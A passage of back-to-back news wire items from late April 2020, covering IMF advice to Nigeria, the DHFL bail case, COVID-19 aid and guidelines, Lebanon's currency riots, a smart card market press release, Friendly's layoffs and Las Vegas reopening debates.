focus on fiscal accommodation would allow for higher health spending and help alleviate the impact of the crisis on households and businesses. Besides, he said other steps taken by the Central Bank of Nigeria (CBN) toward a more unified and flexible exchange rate are also important and unification of the exchange rate should be expedited. Post COVID-19 Focus Mr Furusawa uurged the government to ensure that once the COVID-19 crisis was over, its focus should remain on medium-term macroeconomic stability, with revenue-based fiscal consolidation essential to keep Nigerias debt sustainable. Also, the IMF advised the Nigerian government to create fiscal space for priority spending on infrastructures to strengthen the economy. In addition, the fund recommendes the implementation of the reform priorities under the Economic Recovery and Growth Plan, particularly on power supply and good governance, saying these remain crucial to boost growth over the medium term. The emergency financing under the RFI, the IMF said, would provide much needed liquidity support to respond to the urgent balance of payment needs, while additional assistance from development partners would be required to support the governments efforts and close the large financing gap. The implementation of proper governance arrangementsincluding through the publication and independent audit of crisis-mitigating spending and procurement processesis crucial to ensure emergency funds are used for their intended purposes, the Fund advised. A special court here on Tuesday rejected the bail pleas of businessmen-brothers Kapil and Dheeraj Wadhawan of DHFL group in a money laundering case filed against them by the Enforcement Directorate (ED). Kapil and Dheeraj Wadhawan, promoter of Dewan Housing Finance Ltd (DHFL) and RKW Developers, respectively, are facing charges of financial irregularities in cases filed by the ED and the Central Bureau of Investigation (CBI). The Wadhawans are currently in CBI custody in connection with the Yes Bank scam in which they are accused along with former Yes Bank CEO and co-founder Rana Kapoor. The ED has charged the duo in two cases one pertaining to alleged irregularities in the investment of Employees Provident Fund (EPF) of the Uttar Pradesh Power Corporation Ltd (UPPCL) and the second relating to laundering of over Rs 4,000 crore through Yes Bank. As per the ED counsel, Additional Solicitor General Anil Singh, the special court rejected the Wadhawans' bail plea after the agency argued that the duo was not cooperating with it in the probe. We told the court that they are not cooperating. When we call them for questioning they dont come. They go for holiday with full family in five cars from Khandala to Mahabaleshwar despite a lockdown, Singh said. Besides, this is a multi-layered case and requires much questioning. Therefore, their custodial interrogation is required, Singh said. Singh also said that there existed every possibility of the Wadhawans tampering with evidence if they were let out on bail. The court took note of our arguments and agreed their custody was required, Singh said. On April 27, a special CBI court in the city had remanded Kapil and Dheeraj Wadhawan to custody of the agency till April 29 in connection with the Yes Bank scam. The ED will get the duo's remand after their CBI custody ends, Singh said. As per the two agencies, UPPCL illegally invested its Employee Provident Fund in DHFL between March 2017 and December 2018, and money from such investment was used by the Wadhawans for personal gains. RKW, a company controlled by DHFL promoters, Yes Banks Rana Kapoor, his family members, and some others laundered money and received alleged kickbacks in return for of extending loans to big borrowers through the bank, they have alleged. Kapil and Dheeraj Wadhawan were arrested by the CBI with the help of Satara district authorities from Mahabaleshwar, a popular hill station located more than 300km from Mumbai. Also Read: Coronavirus India Live Updates: Lockdown exit complex challenege for govt, says Anand Mahindra; COVID-19 cases at 29,974 Also Read: Coronavirus outbreak: WEF calls blockchain technology answer to supply chain failures, economic recovery Source: Xinhua| 2020-04-28 18:14:51|Editor: huaxia Video Player Close ANKARA, April 28 (Xinhua) -- A Turkish military cargo plane on Tuesday departed for the United States to deliver medical supplies for the COVID-19, Turkey's defense ministry said. "The loading process of the medical aid supplies to be delivered to the United States by Turkish Armed Forces aircraft has been completed. Our aircraft carrying the medical aid supplies to be used in combating COVID-19 has departed from Etimesgut Airfield, Ankara," the ministry said on Twitter. The aid package contains masks, face shields, N95 respirator masks and overalls, said the ministry. "At a time when even developed countries are asking for Turkey's support, we have offered our support to wide geography, from the Balkans to Africa," President Recep Tayyip Erdogan said on Monday. "Most recently, we are sending medical aid to the United States on Tuesday, consisting of surgical masks, N95 masks, hazmat suits and disinfectants," he stated. Enditem Prince Harry has recorded a special message to celebrate the 75th anniversary of children's favourite Thomas the Tank Engine. The Duke of Sussex introduces a new program called Thomas and Friends: The Royal Engine, which has a storyline that includes Harry's father and grandmother, Prince Charles and Queen Elizabeth II, as animated characters. Set when the Prince of Wales was a boy, the story sees the friendly engine taking Sir Topham Hatt, the controller of the railway, to Buckingham Palace to receive an honor. In his introduction which was recorded in January before his move overseas Prince Harry is seen sitting in an armchair, reading from a book about the train's adventures. In a statement he said he has fond memories of growing up with Thomas and Friends and being transported to new places through his adventures." Thomas "has been a comforting, familiar face to so many families over the last 75 years entertaining, educating and inspiring children on important issues through exciting stories and characters, he added. In January, Prince Harry and his wife Meghan, the Duchess of Sussex, announced they planned to quit as senior royals, seek financial independence and move to North America. The split became official at the end of March, and the couple are currently in California, where Meghan was raised. Proof of Prince Harry's attachment to the engine can also be seen in photos of his first day attending nursery in September 1987, where he is seen carrying a Thomas the Tank Engine bag. The Rev. Wilbert Awdry released the first book in The Railway Series 75 years ago. It was originally created as a bedtime story for his son, Christopher, during a bout of the measles. The plucky blue tank engine doesn't appear in the debut story. He got his own illustrated book in 1946 called Thomas the Tank Engine and swiftly took over from Edward, Gordon and Henry as everyone's favorite. The train tales were turned into a stop-motion animation series in the '80s, moving into CGI in 2009. Thomas and Friends, owned by Mattel, is now on air in over 160 countries worldwide. British actress Rosamund Pike is also onboard Thomas and Friends: The Royal Engine, voicing a new character, an important train called the Duchess of Loughborough. The show will be aired by Netflix in the U.S. on May 1 and on Channel 5's Milkshake show in the U.K. the following day. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) BAKU, Azerbaijan, April 28 Trend: Director-General of the World Health Organization Tedros Adhanom Ghebreyesus has highlighted Azerbaijan`s contributions to the fight against the coronavirus pandemic both globally and regionally. Speaking at a press conference, he noted that discussions on the fight against coronavirus were carried out at a recent meeting through videoconference held on the initiative of the President of Azerbaijan, adding he also attended the event. Tedros Adhanom Ghebreyesus stressed the importance of such steps. The WHO Director-General hailed Azerbaijan`s global contribution to the fight against the coronavirus pandemic. He said that Azerbaijan donated $5 million for this global struggle. Tedros Adhanom Ghebreyesus commended the President of Azerbaijan for his strong efforts in the battle against COVID-19 at the national, regional and global levels, and for uniting and supporting efforts at all three levels. Coronavirus: Health Ministry has issued a new set of guidelines for people who are practicing home quarantine with some symptoms of coronavirus or for those who are in the pre-symptomatic phase. On Tuesday, the ministry said that the people who have mild symptoms and are not severely affected by the virus can now home isolate themselves. Ministry has also released a new set of guidelines for home isolation and said that new rules are in addition to the existing rules. Currently, the patients are first checked and are accordingly assigned under categories like mild, moderate, or severe, and according to their condition, they are shifted to either to a COVID care center or a dedicated COVID hospital. However, as per the new guidelines, the people with mild symptoms have an option of self-isolation at their residence. The new guidelines suggest that first the person should be clinically assigned as mild or pre-symptomatic case by a medical professional. Further, all the required facilities at his or her residence for self-isolation should be there along with quarantining the entire family. Moreover, a caretaker should also be available all the time to take care. Further, all the family members along with close contacts should take Hydroxychloroquine prophylaxis. Health & Family Welfare Ministry has issued guidelines for home isolation of people who either have very mild #COVID19 symptoms or are in the pre-symptomatic phase. Such patients with requisite self-isolation facility at their residence will now have the option for home isolation pic.twitter.com/c7KdGyabWP ANI (@ANI) April 27, 2020 The patient should be ready to cooperate and monitor his health and should regularly share his health status to the District Surveillance Officer. Moreover, the person should also download Arogya Setu App and should keep it active all the time through Bluetooth and Wi-Fi. Not just this, Ministry also listed the symptoms that discover if a patient needs immediate medical attention. Further, the Ministry also quoted the correct way of ending the home isolation. For all the latest National News, download NewsX App Jarrod Woodgate found love with former Bachelor hopeful Sam Royce earlier this year. And the ex-Bachelorette finalist, who failed to win over Sophie Monk back in 2017, has credited his new girlfriend with changing his outlook on life following his much publicised relationship with Keira Maguire. The vineyard owner, 34, revealed to 9Honey that Sam, who works as an agent with the Australian Federal Police, thought he was a 'bit of a snob' when they first met. New love: Former Bachelorette star Jarrod Woodgate credits his new girlfriend Sam Royce with changing his outlook on life. Both pictured 'She thought I was a bit of a snob to start with... because I was in a limelight relationship and it kind of makes you think that this is your life, but it wasn't,' he explained. 'I slowly got back down to earth and Sam's helped ground me,' he said. The former reality TV star has been living with the blonde beauty in the Northern Territory for the past five weeks, and arrived just days before the borders were closed because of the coronavirus pandemic. 'She helped ground me': The vineyard owner revealed that Sam, who works as an agent with the Australian Federal Police, thought he was a 'bit of a snob' when they first met Over: Last year, Jarrod was in a much publicised relationship with reality TV star and Instagram influencer Keira Maguire. But last August, Keira confirmed that they had broken up He went on to say he enjoyed living in the same home with her and admitted it would be 'hard to leave her' to return home to his family vineyard in Victoria. 'She is my forever and I see more of a future now than ever with this one. We're both very happy,' Jarrod said. Before finding 'forever' with his new love, Jarrod was in a relationship with Keira Maguire. In love: 'She is my forever and I see more of a future now than ever with this one. We're both very happy,' Jarrod said Exes: Before finding 'forever' with his new love Sam, Jarrod was in a relationship with Keira Maguire after meeting on season one of Bachelor In Paradise back in 2018 They began a dating after meeting on season one of Bachelor In Paradise back in 2018. During a rough patch in the relationship, Jarrod blamed Keira's obsession with Instagram as a big factor that led to their breakup. He told Who magazine, back in September 2018: 'Her Instagram following is overwhelming and it was taking over our relationship. She's purely Instagram-focused and that takes up a lot of time.' The couple reunited in January 2019 before splitting up for good in August of that year. live bse live nse live Volume Todays L/H More Share price of Axis Bank jumped 5 percent intraday on April 28 ahead of its March quarter result which is scheduled to come out today, April 28. The third-largest lender is expected to report a decline in Q4 FY20 profit on the back of higher loan loss provisions though lower tax rate may cushion the fall. Most brokerages expect a double-digit decline in profit after tax which could fall as much as 62 percent year-on-year, while net interest income could grow by more than 16 percent YoY due to slower loan growth (around 15 percent) amid economic crisis and stress in the retail and MSME segment. However, they expect the margin to be stable. Provisions are expected to be higher due to COVID-19 led current economic crisis and slippages are also likely to be on the higher side due to stress in retail and MSME segments, but asset quality is expected to be stable due to the moratorium announced by the RBI. "We expect loan growth at 15 percent YoY with a greater focus on retail. NIM will be unchanged at 3.6 percent (led by loan composition and funding costs)," said Kotak Institutional Equities which sees profit declining 47 percent and net interest income rising 16.3 percent YoY. According to ICICI Direct, margins are estimated at around 3.5 percent thereby leading to NII growth of 19.8 percent YoY. "Given the current economic situation, provisions are expected to remain higher at around 65 bps in Q4 FY20 versus 55 bps in Q4 FY19. As banks would not be recognising any NPAs during the moratorium period, the gross NPA ratio is expected to be steady at 5.1 percent. Telecom exposure of Rs 16,000 crore remains a hangover ahead. Extension of lockdown could lead to a further slowdown of crucial sectors, thus adding to asset quality worries," said ICICI Direct. The stock price has gained over 22 percent in the last one month and was quoting at Rs 442.05, up Rs 14.75, or 3.45 percent at 09:35 hours. It has touched an intraday high of Rs 448.50 and an intraday low of Rs 438.90. : The views and investment tips expressed by investment expert on Moneycontrol.com are his own and not that of the website or its management. Moneycontrol.com advises users to check with certified experts before taking any investment decisions. Banks frequently targeted during the economic crisis that has seen the Lebanese pound depreciate by 50 percent. Beirut, Lebanon One man died on Tuesday after violent clashes in Lebanons northern city of Tripoli that left dozens injured after the Lebanese army used live fire, rubber-coated rounds, and tear gas to clear angry protesters. Thousands of protesters across Lebanon blocked roads, attacked banks, and marched through streets throughout Monday in response to the local currencys rapid devaluation, which has led millions to lose more than half the value of their salaries and savings. A 26-year-old mans sister, Fatima Fouad, said in a Facebook post that her brother, Fouaz Fouad al-Seman, died as a result of live gunfire by Lebanese soldiers. An army source confirmed to Al Jazeera that troops used live fire, but said they shot in the air, not at protesters. The source also confirmed a man died, but said it was unclear how, adding rubber-coated bullets and tear gas were used on demonstrators. Lebanon is suffering its worst-ever financial crisis that has led to a dollar shortage, which in turn has seen the Lebanese pound tumble by more than 50 percent in the last six months. Unprecedented anti-establishment protests that began last October had mostly disappeared as the country went into lockdown over the COVID-19 pandemic, but dire living conditions brought people back to the streets in at least two-dozen locations since Sunday. Soldiers attempt to open the northern highway during protests against the collapsing Lebanese pound [Nabil Mounzer/EPA] Northern Tripoli, Lebanons second-largest and poorest city, saw the largest protests on Monday with hundreds of demonstrators taking to the streets. The situation quickly turned into riots as banks were vandalised and set alight. Lebanons army said 54 soldiers were among the wounded during attempts to open roads and quell riots across the country. Forty troops were injured in incidents in Tripoli. The army leadership, while reaffirming its respect for the right of citizens to express their opinions, warns of some attempts to exploit demonstrations to carry out actions that affect security and stability, a statement said, adding the army will never tolerate any violation of security. The Lebanese army said two soldiers were injured when a grenade was thrown at an army patrol, while an army vehicle was torched using Molotov cocktails in the middle of Tripolis Al-Nour square, the heart of anti-establishment protests that broke out in October of last year. Molotov cocktails have been thrown at at least five banks since the weekend, including in the capital Beirut. Banks have for six months been limiting withdrawals of the local currency and have entirely phased out withdrawals in foreign currencies that were previously standard. People inspect a bank set ablaze overnight by protesters [Ibrahim Chalhoub/AFP] Were coming for you Video from Monday night showed protesters raining down a hail of rocks on soldiers in Tripoli, while the sound of heavy gunfire can be heard. Protesters also took to the streets in southern Sidon, chanting Molotov, Molotov, instead of a candle, Molotov, outside a local branch of the Central Bank. Lebanons protests began as a largely peaceful uprising last year, when hundreds of thousands took to the streets to demand political change and an end to endemic corruption that sapped the states resources. But over the last few months, they have become more desperate as people struggle to make ends meet and secure basic needs, including food. Human Rights Watch has warned millions could go hungry unless the government puts forward a robust social-safety net. But when the cabinet sought to get approval for a large spending bill at a parliament session earlier this month, quorum was lost and the decision postponed. This is a letter to each corrupt politician, a protester in Tripoli said to his camera Monday night. When we the Lebanese people get hungry, were going to remove you one by one Were coming for you one by one. Technavio has been monitoring the smart card IC market and it is poised to grow by USD 1.79 bn during 2019-2023, progressing at a CAGR of over 8% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200427005631/en/ Technavio has announced its latest market research report titled Global Smart Card IC Market 2019-2023 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Infineon Technologies AG, NXP Semiconductors NV, ON Semiconductor Corp., Samsung Electronics Co. Ltd., and STMicroelectronics NV are some of the major market participants. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Demand for contactless smart cards has been instrumental in driving the growth of the market. Smart Card IC Market 2019-2023: Segmentation Smart Card IC Market is segmented as below: Application Telecommunication Financial Government Transportation Others Microprocessor Architecture 16-bit 32-bit Geographic Landscape APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR31881 Smart Card IC Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our smart card IC market report covers the following areas: Smart Card IC Market Size Smart Card IC Market Trends Smart Card IC Market Industry Analysis This study identifies integration of smart cards with blockchain as one of the prime reasons driving the smart card IC market growth during the next few years. Smart Card IC Market 2019-2023: Vendor Analysis We provide a detailed analysis of around 25 vendors operating in the smart card IC market, including some of the vendors such as Infineon Technologies AG, NXP Semiconductors NV, ON Semiconductor Corp., Samsung Electronics Co. Ltd., and STMicroelectronics NV. Backed with competitive intelligence and benchmarking, our research reports on the smart card IC market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Smart Card IC Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist smart card IC market growth during the next five years Estimation of the smart card IC market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the smart card IC market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of smart card IC market vendors Table Of Contents : PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT 2.1 Preface 2.2 Preface 2.3 Currency conversion rates for US$ PART 03: MARKET LANDSCAPE Market ecosystem Market characteristics Market segmentation analysis PART 04: MARKET SIZING Market definition Market sizing 2018 Market size and forecast 2018-2023 PART 05: FIVE FORCES ANALYSIS Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition PART 06: MARKET SEGMENTATION BY APPLICATION Market segmentation by application Comparison by application Telecommunication Market size and forecast 2018-2023 Financial Market size and forecast 2018-2023 Government Market size and forecast 2018-2023 Transportation Market size and forecast 2018-2023 Others Market size and forecast 2018-2023 Market opportunity by application PART 07: CUSTOMER LANDSCAPE PART 08: MARKET SEGMENTATION BY MICROPROCESSOR ARCHITECTURE Market segmentation by microprocessor architecture Comparison by microprocessor architecture 16-bit Market size and forecast 2018-2023 32-bit Market size and forecast 2018-2023 Market opportunity by microprocessor architecture PART 09: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison APAC Market size and forecast 2018-2023 Europe Market size and forecast 2018-2023 North America Market size and forecast 2018-2023 South America Market size and forecast 2018-2023 MEA Market size and forecast 2018-2023 Key leading countries Market opportunity PART 10: DECISION FRAMEWORK PART 11: DRIVERS AND CHALLENGES Market drivers Market challenges PART 12: MARKET TRENDS Robust demand for dual-interface cards Use of biometrics in smart cards Integration of smart cards with blockchain PART 13: VENDOR LANDSCAPE Overview Landscape disruption Competitive scenario PART 14: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors Infineon Technologies AG NXP Semiconductors NV ON Semiconductor Corp. Samsung Electronics Co. Ltd. STMicroelectronics NV PART 15: APPENDIX Research methodology List of abbreviations Definition of market positioning of vendors PART 16: EXPLORE TECHNAVIO About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200427005631/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ WEST SPRINGFIELD The owners of Friendlys laid off 197 full- and part-time employees at seven Massachusetts restaurants closed because of the coronavirus, but say they expect to reopen those and other shuttered locations when the crisis abates. Across the company, 43 restaurants are closed while 111 restaurants are operating with takeout, delivery and some drive-thru service, said Sylvia Becker, a spokeswoman for restaurant operator FIC Restaurants Inc., which has its headquarters in Wilbraham. The drive-thru windows are only a few years old. Friendlys recently started delivery through an online menu and catering service in another effort to stay competitive. Becker did not provide a total number of jobs lost, but a review of Worker Adjustment and Retraining Notification Act filings here and in neighboring states showed the average location has about 30 employees. The latest shutdowns are temporary and the company hopes to recall employees and reopen restaurants soon, Becker said. The coronavirus pandemic and efforts to stop it have been tough on the restaurant industry, with one local owner predicting as many as one in five independently owned restaurants wont survive. For Friendlys, the layoffs associated with closed restaurants include 39 people who worked at 1094 Riverdale Road in West Springfield the only local layoffs listed. This is according to federally required WARN Act paperwork FIC Restaurants submitted last week. The Massachusetts Executive Office of Labor and Workforce Development made the reports public Monday. Friendlys still lists the closed locations West Springfield, Webster, Sturbridge, Worcester, Lawrence, Middleborough and Swansea among its 34 remaining Massachusetts locations. The other 27 Friendlys locations in Massachusetts including ones in Agawam, Springfield, Florence, Westfield and Palmer remain open, serving takeout and delivery customers, according to the company. In Connecticut, Friendlys has closed seven locations with a total of 149 employees laid off, according to WARN notices field with that state. In New York state, Friendlys has filed a total of nine WARN notices totaling 306 lost jobs. Pennsylvania listed another four closed restaurants with a total of 106 lost jobs. The other shutdowns couldnt be accounted for in a review of state-by-state WARN filings. Friendlys has restaurants in: Connecticut, Delaware, Florida, Maine, Maryland, Massachusetts, New Hampshire, New Jersey, New York, Pennsylvania, South Carolina and Vermont. The Vermont location in Williston is closed, as well as one of three New Hampshire locations, North Conway, and the lone remaining Maine location in South Portland. At its height in 1996, Friendlys had 850 restaurants in 15 states. Having survived bankruptcy in 2011, Friendlys has been shrinking for years. Becker said the company is in a good position to emerge from the shutdowns. For Friendlys, providing safe service is our top priority, she wrote. As states begin to ease restrictions, we will evaluate our operations and look to reopen closed restaurants for take-out and delivery and reopen dining rooms when we have the necessary precautions in place to do so. Our franchisees are also evaluating re-opening opportunities. Over the last 18-months, Friendlys has taken important steps to support long-term sustainability and made significant strides towards reinvigorating the beloved brand with exciting menu innovation, an increased focus on delivery and catering options, and a re-energized overall experience for our customers, Becker wrote. Those efforts have put us in position to weather this massive challenge and sustain many locations through take-out and delivery offerings. We thank our customers for their continued support of Friendlys restaurants. Brothers Curtis and S. Prestley Blake founded the business in Springfield in the summer of 1935 because they couldnt find jobs during the Great Depression. Curtis died in May of 2019 at age 102. Pres Blake turned 105 in November. The brothers built the company in the baby-boom years after World War II as suburbs grew and families looked for a simple and satisfying night out. They sold the business to Hershey Foods in 1979 when it had 600 restaurants. The chain is now owned by Sun Capital Partners, which also owns the Johnny Rockets chain among other businesses. Sun Capital sold its retail ice cream and manufacturing business to Texas-based Dean Foods Co. for $155 million in cash in 2016. Police Commissioner Danielle Outlaw needs to make herself more visible. Im not knocking her. Im rooting for her success. I was excited when I heard shed been selected to be the citys first female top cop. I think her outsider perspective is valuable and also necessary to address long-standing, systemic problems in the department. I look forward to hearing her plan to address the citys burgeoning homicide rate. But we hardly see her. Previous commissioners were always familiar faces at the scene of major homicides at all times of the night and when policing matters were discussed in City Hall. There has always been an expectation that the commissioner is front and center. READ MORE: At least 800 Philadelphia police officers may have been exposed to coronavirus, sparking fear and uncertainty by David Gambacorta, Updated: April 27, 2020- 4:30 PM Maybe I was expecting too much too soon. I asked around and found that others felt similarly. Were used to more from our commissioners, David Fisher of the National Black Police Association said Monday. Were used to our commissioners being very visible in this city. Were used to commissioners addressing issues within the communities, whether they are crime issues or police doing good deeds . We [hadnt] had a commissioner since August of 2019, he added. I welcomed her and I was in support of her. Its hard to support someone who is invisible. It means something to the troops when some people are working at home and the troops are out there in the streets every day. This is what Im getting from officers out there on the street. They need to see her." In fairness, Outlaw assumed her role during a particularly difficult time. The former Portland, Ore., police chief barely had time to settle into her new home before she found herself dealing with the coronavirus pandemic that shuttered nonessential businesses and had residents sheltering in place. Then, there was the tragic killing of Sgt. James OConnor IV, who was fatally wounded last month in a barrage of bullets as authorities attempted to serve an early morning search warrant on a murder suspect. That devastating incident was followed by another one, the death of Lt. James Walker, 59, the first police officer to die of COVID-19. READ MORE: Even a pandemic cant slow Phillys gun violence Since then, there have been scary reports of possibly hundreds in the department affected by COVID-19. Inquirer reporter David Gambacorta reported that at least 800 other officers had been exposed to the virus. In addition, there are all the political dynamics inside and outside the department not to mention the hassle of moving from the West Coast. Last week, I asked the department for an interview with Outlaw on how its been going, but I never got a response. Meanwhile, even as many crimes such as rapes, thefts, and home burglaries have plummeted, statistics show that shootings are up. Thats a lot to have to deal with in a short amount of time. "Im not taking up for her. Other people have come to me with the same discussion in reference to her visibility, said Stanley Crawford of the Black Male Community Council, an antiviolence group. What the new police commissioner has walked into is a situation where shes at a disadvantage, he said. I dont know if we are really taking everything into consideration when we look at the whole dynamic thats surrounding her coming into the Police Department in February and a month later we have the coronavirus hit and then she has to negotiate the racism thats within the Philadelphia Police Department and the male chauvinism thats in the Philadelphia Police Department," he added. "Then youve got cronyism. Crawford said he had an opportunity recently to sit with Outlaw to discuss an issue surrounding the 2018 murder of his son. He left the meeting feeling encouraged and heard. I look forward to meeting her as well and also seeing her more on the news and in public. MANILA, Philippines The Makati City Police on Tuesday said it has filed multiple complaints against Spanish national Javier Parra, who clashed with a cop in a village in Makati City over the weekend. Makati City Police chief Police Colonel Rogelio Simon said they lodged the complaints against Parra before the Makati City Prosecutors Office. Nakapag-file tayo ng direct assault, resistance and disobedience in a person in authority, unjust vexation, violation ng Republic Act 11332 particularly in Sec.9e ng Bayanihan Act at yung City Ordinance 2020 089 for not wearing face mask, he said. Simon said they are also coordinating with the Bureau of Immigration for Parras possible deportation. The complaints against the Spanish national stemmed from his confrontation with a police officer, Police Senior Master Sergeant Roland Von Madrona, outside his house in Dasmarinas Village on April 26. Madrona was conducting a patrol in the village, together with Bantay Bayan personnel Esteban Gaan when he noticed Parras house helper, Cherilyn Escalante, watering the plants outside without wearing a face mask. Madrona claimed he politely approached and advised the maid to wear a face mask for her safety. The helper then went inside the house, but minutes later, Parra and his wife, Abegail Salvador went out of their residence and confronted the police officer. In the now viral video, Parra can be seen and heard throwing foul words at the cop, and supposedly lectured him on how to implement the quarantine protocols. The foreigner also allegedly shouted at Madrona to get off his property. The cop tried to arrest the furious foreigner, but Parra evaded and went inside his house. The Philippine National Police has ordered an investigation into the matter. Meanwhile, Interior and Local Government Secretary Eduardo Ano expressed support for Madrona, saying he was just doing his job when he tried to arrest Parra. In the video, Parra was seen not wearing a shirt and was said to be drunk when he confronted the police officer. Suportado natin yan (We support it). The police did the right thing. Yung lumabas ka na sa kalsada, kahit private subdivision yan, public area yan (When you go out into the street, even if its in a private subdivision, its considered public area). It serves the public, Ano said in a statement. RRD (with details from Correspondent Lea Ylagan) The post Raps filed vs foreigner involved in clash with cop in Makati village appeared first on UNTV News. US President Donald Trump said that he knew how North Korean leader Kim Jong-un was doing amid rising speculation that he may be gravely ill, but refused to offer any other details, saying "can't talk about it", the media reported on Tuesday. "I do have a very good idea, but I can't talk about it now. I just wish him well. I've had a very good relationship with Kim Jong-un," the Seoul-based Yonhap News Agency quoted Trump as saying during a White House press conference on Monday. "I hope he's fine. I do know how he's doing, relatively speaking. You will probably be hearing in the not too distant future," he said. But Trump later added: "Nobody knows where he is." On April 21, Trump had said that the US didn't know if the reports about Kim's failing health were true. Two days later, he said he believed the report by CNN was "incorrect", which had cited a US official as saying that Washington was looking into intelligence that Kim was in "grave danger" after surgery. Kim has been out of public view since April 11 when he presided over a politburo meeting of the ruling Workers' Party, said the Yonhap News Agency report. His absence from an April 15 commemoration of the birthday of his late grandfather, North Korea founder Kim Il-sung, sparked speculation that there may be something wrong with his health. South Korean officials have insisted that there was nothing unusual happening inside the regime. Trump and Kim Jong-un have met three times since June 2018 to try to reach a deal on denuclearizing North Korea in exchange for US sanctions relief. But negotiations have faltered since their second summit in Vietnam in February 2019 ended without a deal due to differences over the scope of their actions. Last month Trump sent a letter to the North Korean leader to offer US assistance with COVID-19. North Korea has at least publicly not accepted the offer while insisting it has no cases of the coronavirus in the country. China allegedly has an expansive network of surveillance cameras to keep tabs on every single citizen, and this was a pretty well-known practice even before the COVID-19 crisis apparently. But the pandemic has made things ten times worse for residents it seems. A CNN report reveals that Chinese officials have now gone to the extent of installing the surveillance cameras outside peoples front doors and apparently people don't have much choice but to accept it. Don't Miss: Contribute To Indiatimes Fundraiser To Help India Fight COVID-19 Image For Representation/Reuters In an interview with CNN, a 34-year-old Irish expat named Ian Lahiffe said when he returned to Beijing, he found a surveillance camera mounted on the wall outside his apartment door and it was pointing right at him. He said he opened the door as the camera was being installed, without warning. "(Having a camera outside your door is) an incredible erosion of privacy" said Lahiffe. "It just seems to be a massive data grab. And I don't know how much of it is actually legal." Image Source/CNN China is reportedly eight of the world's 10 most surveilled cities based on the number of cameras per 1,000 people, claims UK-based technology research firm Comparitech. Lahiffe said that the footage from his camera is being monitored by the community workers at his residential compound, who are charged with making sure he stays home and doesn't have visitors. Image Source/CNN Another Scandinavian expat living in the southern city of Guangzhou named Lina Ali told CNN that every time she received a food delivery a bright light would flash at her from the camera that was installed on her front door. She said her apartment building's property management staff came to install a surveillance a camera outside her front door on the first day of her home quarantine earlier this month. "I hated when the camera would shine a bright light, they told us that it connects to the police station," said Ali. CNN agreed to refer to her with a pseudonym to protect her safety. "It made me feel like I truly was a prisoner in my own home." The pandemic has brought surveillance cameras closer to people's private lives: from public spaces in the city right to the front doors of their homes -- and in some rare cases, surveillance cameras inside their apartments, states the report. Image Source/CNN Maya Wang, a senior China researcher at Human Rights Watch, told CNN, "If you look at China's surveillance measures during the coronavirus outbreak, from the development of health codes to the installation of surveillance cameras to enforce quarantine, we're seeing an increasingly intrusive use of surveillance technologies that were previously only seen in particularly repressed regions, like Xinjiang. People across China are reportedly furious about living under the constant gaze of a camera, but they have no way to get out of it or deny being monitored; its a state-controlled activity all in the garb of containing the pandemic apparently. SOURCE: CNN Sean Pavone/iStockBy BILL HUTCHINSON, ABC News (LAS VEGAS) -- Saying that Las Vegas casinos, hotels and businesses will only reopen when scientific data says it's no longer a gamble with people's lives, a member of the county commission that regulates the city's famed Strip blasted Mayor Carolyn Goodman's widely-panned proposal to use employees as a "control group" to test whether starting up the economy amidst the coronavirus pandemic is safe. Clark County Commissioner Marilyn Kirkpatrick said in an interview Monday on ABC's "Pandemic: What You Need to Know" that it was disappointing to hear Goodman promote her idea on national television despite most medical professionals agreeing that such a move could drastically set the city back in its battle against the invisible contagion. Kirkpatrick, the former speaker of the Nevada Assembly, responded to Goodman's public admission that she had recommended the Las Vegas workforce serve as a test group to determine whether stay-at-home orders really work in combating the coronavirus. "I don't agree with her," Kirkpatrick said. "My colleagues and I who oversee the beautiful Las Vegas Strip feel that our highest priority needs to be the health and safety of not only our residents who work on the Strip but the visitors who come to visit us." Kirkpatrick called for Las Vegas residents to be patient, saying that prematurely reopening businesses could create a new wave of positive cases and prompt authorities to shut down the economy again. "We will open only when it's safe and we have the most stringent priorities and policies in place," said Kirkpatrick, who is also vice chair of the Southern Nevada Health District Board. Goodman prompted a backlash from Nevada's governor and labor unions by telling CNN's Anderson Cooper last week that she had floated the idea of Las Vegas' workers becoming a "control group" in an experiment to determine the effectiveness of social distancing measures. As of Monday, more than 4,600 people in Nevada had been infected with coronavirus and 206 had died. "How do you know until you've had a control group?" Goodman said when asked if she thought stay-at-home orders have worked to blunt the spread of the virus. "I offered to be a control group, and I was told by our statistician that you can't do that because people from all parts of Southern Nevada come in to work in the city. And I said, 'Oh, that's too bad because I know that when you have a disease, you have a placebo that gets them water and the sugar, and then you get those that actually get the shot. We would love to be that placebo side so you have something to measure against.'" In subsequent interviews, Goodman's doubled down on calls to put people back to work, telling 